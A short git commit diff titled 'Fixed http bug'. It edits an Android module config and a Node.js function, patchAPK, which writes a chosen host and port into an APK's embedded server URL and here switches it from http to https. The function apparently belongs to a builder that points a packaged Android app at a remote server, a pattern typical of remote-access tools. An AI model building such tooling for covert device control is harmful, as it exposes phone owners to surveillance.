Fixed http bug

This commit is contained in:
ChrisStone07 2020-03-23 22:33:52 +05:30
parent 14e113d41f
commit ba976cc2b0
2 changed files with 2 additions and 2 deletions

View File

@ -19,7 +19,7 @@
<option name="ALLOW_USER_CONFIGURATION" value="false" />
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
</configuration>

View File

@ -23,7 +23,7 @@ function patchAPK(URI, PORT, cb) {
if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")), "https://" + URI + ":" + PORT);
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
if (err) return cb('File Patch Error - WRITE')
else return cb(false)